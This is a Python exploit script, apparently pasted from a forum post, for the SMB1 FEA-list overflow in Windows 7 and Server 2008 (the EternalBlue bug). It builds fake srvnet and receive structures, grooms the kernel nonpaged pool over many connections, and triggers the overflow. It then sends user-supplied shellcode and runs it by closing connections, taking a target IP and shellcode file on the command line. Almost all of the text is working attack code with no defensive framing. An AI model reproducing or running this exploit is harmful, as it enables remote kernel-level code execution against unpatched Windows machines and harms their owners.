- fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
- fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
- fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
- # below 0x20 bytes is overwritting MDL
- # NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
- fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
- fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
- # below is for targeting x64 only (all x86 related values are set to 0)
- # this is for show what fields need to be modified
- fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
- fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
- fakeSrvNetBufferX64 += '\x00'*16
- fakeSrvNetBufferX64 += '\x00'*16
- fakeSrvNetBufferX64 += '\x00'*16 # 0x40
- fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
- fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
- fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
- fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
- fakeSrvNetBuffer = fakeSrvNetBufferNsa
- #fakeSrvNetBuffer = fakeSrvNetBufferX64
- feaList = pack('<I', 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug)
- feaList += ntfea[NTFEA_SIZE]
- # Note:
- # - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
- # - x64: below fea will be copy to offset 0x11000 of overflow buffer
- # - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
- feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
- # stop copying by invalid flag (can be any value except 0 and 0x80)
- feaList += pack('<BBH', 0x12, 0x34, 0x5678)
- # fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
- # x64: fake struct is at ffffffff ffd00010
- # offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
- # offset 0x08: set to 3 (DWORD) for invoking ptr to function
- # offset 0x1d0: KSPIN_LOCK
- # offset 0x1d8: array of pointer to function
- #
- # code path to get code exection after this struct is controlled
- # SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
- fake_recv_struct = pack('<QII', 0, 3, 0)
- fake_recv_struct += '\x00'*16
- fake_recv_struct += pack('<QII', 0, 3, 0)
- fake_recv_struct += ('\x00'*16)*7
- fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
- fake_recv_struct += '\x00'*16
- fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
- fake_recv_struct += ('\x00'*16)*11
- fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
- fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
- fake_recv_struct += ('\x00'*16)*3
- fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
- fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
- def getNTStatus(self):
- return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
- setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
- def sendEcho(conn, tid, data):
- pkt = smb.NewSMBPacket()
- pkt['Tid'] = tid
- transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
- transCommand['Parameters'] = smb.SMBEcho_Parameters()
- transCommand['Data'] = smb.SMBEcho_Data()
- transCommand['Parameters']['EchoCount'] = 1
- transCommand['Data']['Data'] = data
- pkt.addCommand(transCommand)
- conn.sendSMB(pkt)
- recvPkt = conn.recvSMB()
- if recvPkt.getNTStatus() == 0:
- print('got good ECHO response')
- else:
- print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
- # do not know why Word Count can be 12
- # if word count is not 12, setting ByteCount without enough data will be failed
- class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
- structure = (
- ('MaxBuffer','<H'),
- ('MaxMpxCount','<H'),
- ('VCNumber','<H'),
- ('SessionKey','<L'),
- #('AnsiPwdLength','<H'),
- ('UnicodePwdLength','<H'),
- ('_reserved','<L=0'),
- ('Capabilities','<L'),
- )
- def createSessionAllocNonPaged(target, size):
- # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
- # You can see the allocation logic (even code is not the same) in WinNT4 source code
- # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
- conn = smb.SMB(target, target)
- _, flags2 = conn.get_flags()
- # FLAGS2_EXTENDED_SECURITY MUST not be set
- flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
- # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
- if size >= 0xffff:
- flags2 &= ~smb.SMB.FLAGS2_UNICODE
- reqSize = size // 2
- else:
- flags2 |= smb.SMB.FLAGS2_UNICODE
- reqSize = size
- conn.set_flags(flags2=flags2)
-
- pkt = smb.NewSMBPacket()
- sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
- sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()
- sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
- sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
- sessionSetup['Parameters']['VCNumber'] = os.getpid()
- sessionSetup['Parameters']['SessionKey'] = 0
- sessionSetup['Parameters']['AnsiPwdLength'] = 0
- sessionSetup['Parameters']['UnicodePwdLength'] = 0
- sessionSetup['Parameters']['Capabilities'] = 0x80000000
- # set ByteCount here
- sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
- pkt.addCommand(sessionSetup)
- conn.sendSMB(pkt)
- recvPkt = conn.recvSMB()
- if recvPkt.getNTStatus() == 0:
- print('SMB1 session setup allocate nonpaged pool success')
- else:
- print('SMB1 session setup allocate nonpaged pool failed')
- return conn
- # Note: impacket-0.9.15 struct has no ParameterDisplacement
- ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
- class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
- structure = (
- ('TotalParameterCount','<H=0'),
- ('TotalDataCount','<H'),
- ('ParameterCount','<H=0'),
- ('ParameterOffset','<H=0'),
- ('ParameterDisplacement','<H=0'),
- ('DataCount','<H'),
- ('DataOffset','<H'),
- ('DataDisplacement','<H=0'),
- ('FID','<H=0'),
- )
- def send_trans2_second(conn, tid, data, displacement):
- pkt = smb.NewSMBPacket()
- pkt['Tid'] = tid
- # assume no params
- transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
- transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
- transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
- transCommand['Parameters']['TotalParameterCount'] = 0
- transCommand['Parameters']['TotalDataCount'] = len(data)
- fixedOffset = 32+3+18
- transCommand['Data']['Pad1'] = ''
- transCommand['Parameters']['ParameterCount'] = 0
- transCommand['Parameters']['ParameterOffset'] = 0
- if len(data) > 0:
- pad2Len = (4 - fixedOffset % 4) % 4
- transCommand['Data']['Pad2'] = '\xFF' * pad2Len
- else:
- transCommand['Data']['Pad2'] = ''
- pad2Len = 0
- transCommand['Parameters']['DataCount'] = len(data)
- transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
- transCommand['Parameters']['DataDisplacement'] = displacement
- transCommand['Data']['Trans_Parameters'] = ''
- transCommand['Data']['Trans_Data'] = data
- pkt.addCommand(transCommand)
- conn.sendSMB(pkt)
- def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
- pkt = smb.NewSMBPacket()
- pkt['Tid'] = tid
- command = pack('<H', setup)
- transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
- transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
- transCommand['Parameters']['MaxSetupCount'] = 1
- transCommand['Parameters']['MaxParameterCount'] = len(param)
- transCommand['Parameters']['MaxDataCount'] = 0
- transCommand['Data'] = smb.SMBTransaction2_Data()
- transCommand['Parameters']['Setup'] = command
- transCommand['Parameters']['TotalParameterCount'] = len(param)
- transCommand['Parameters']['TotalDataCount'] = len(data)
- fixedOffset = 32+3+38 + len(command)
- if len(param) > 0:
- padLen = (4 - fixedOffset % 4 ) % 4
- padBytes = '\xFF' * padLen
- transCommand['Data']['Pad1'] = padBytes
- else:
- transCommand['Data']['Pad1'] = ''
- padLen = 0
- transCommand['Parameters']['ParameterCount'] = len(param)
- transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
- if len(data) > 0:
- pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
- transCommand['Data']['Pad2'] = '\xFF' * pad2Len
- else:
- transCommand['Data']['Pad2'] = ''
- pad2Len = 0
- transCommand['Parameters']['DataCount'] = firstDataFragmentSize
- transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
- transCommand['Data']['Trans_Parameters'] = param
- transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
- pkt.addCommand(transCommand)
- conn.sendSMB(pkt)
- conn.recvSMB() # must be success
-
- i = firstDataFragmentSize
- while i < len(data):
- sendSize = min(4096, len(data) - i)
- if len(data) - i <= 4096:
- if not sendLastChunk:
- break
- send_trans2_second(conn, tid, data[i:i+sendSize], i)
- i += sendSize
-
- if sendLastChunk:
- conn.recvSMB()
- return i
-
- # connect to target and send a large nbss size with data 0x80 bytes
- # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
- # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
- def createConnectionWithBigSMBFirst80(target):
- # https://msdn.microsoft.com/en-us/library/cc246496.aspx
- # Above link is about SMB2, but the important here is first 4 bytes.
- # If using wireshark, you will see the StreamProtocolLength is NBSS length.
- # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
- #
- # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
- # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
- # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
- sk = socket.create_connection((target, 445))
- # For this exploit, use size is 0x11000
- pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
- # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
- # Also this is invalid SMB2 message.
- # I believe NSA exploit use SMB2 for hiding alert from IDS
- #pkt += '\xffSMB' # smb2
- # it can be anything even it is invalid
- pkt += 'BAAD' # can be any
- pkt += '\x00'*0x7c
- sk.send(pkt)
- return sk
- def exploit(target, shellcode, numGroomConn):
- # force using smb.SMB for SMB1
- conn = smb.SMB(target, target)
- # can use conn.login() for ntlmv2
- conn.login_standard('', '')
- server_os = conn.get_server_os()
- print('Target OS: '+server_os)
- if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")):
- print('This exploit does not support this target')
- sys.exit()
-
- tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC
- )
- # Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)
- # - SrvSmbNtTransaction() (smbtrans.c#L2677)
- # - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)
- # - ExecuteTransaction() (smbtrans.c#L82)
- # - Call dispatch table (smbtrans.c#L347)
- # - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)
- # - SrvSmbOpen2() (smbopen.c#L1002)
- # - call SrvOs2FeaListToNt() (smbopen.c#L1095)
-
- # https://msdn.microsoft.com/en-us/library/ee441720.aspx
- # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
- # Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT
- # Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT
- progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)
- # we have to know what size of NtFeaList will be created when last fragment is sent
- # make sure server recv all payload before starting allocate big NonPaged
- #sendEcho(conn, tid, 'a'*12)
- # create buffer size NTFEA_SIZE-0x1000 at server
- # this buffer MUST NOT be big enough for overflown buffer
- allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
-
- # groom nonpaged pool
- # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
- srvnetConn = []
- for i in range(numGroomConn):
- sk = createConnectionWithBigSMBFirst80(target)
- srvnetConn.append(sk)
- # create buffer size NTFEA_SIZE at server
- # this buffer will be replaced by overflown buffer
- holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
- # disconnect allocConn to free buffer
- # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
- allocConn.get_socket().close()
- # hope one of srvnetConn is next to holeConn
- for i in range(5):
- sk = createConnectionWithBigSMBFirst80(target)
- srvnetConn.append(sk)
-
- # send echo again, all new 5 srvnet buffers should be created
- #sendEcho(conn, tid, 'a'*12)
-
- # remove holeConn to create hole for fea buffer
- holeConn.get_socket().close()
- # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
- send_trans2_second(conn, tid, feaList[progress:], progress)
- recvPkt = conn.recvSMB()
- retStatus = recvPkt.getNTStatus()
- # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
- if retStatus == 0xc000000d:
- print('good response status: INVALID_PARAMETER')
- else:
- print('bad response status: 0x{:08x}'.format(retStatus))
-
- # one of srvnetConn struct header should be modified
- # a corrupted buffer will write recv data in designed memory address
- for sk in srvnetConn:
- sk.send(fake_recv_struct + shellcode)
- # execute shellcode by closing srvnet connection
- for sk in srvnetConn:
- sk.close()
- # nicely close connection (no need for exploit)
- conn.disconnect_tree(tid)
- conn.logoff()
- conn.get_socket().close()
- if len(sys.argv) < 3:
- print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
- sys.exit(1)
- TARGET=sys.argv[1]
- numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
- fp = open(sys.argv[2], 'rb')
- sc = fp.read()
- fp.close()
- print('shellcode size: {:d}'.format(len(sc)))
- print('numGroomConn: {:d}'.format(numGroomConn))
- exploit(TARGET, sc, numGroomConn)
- print('done')
复制代码
|
|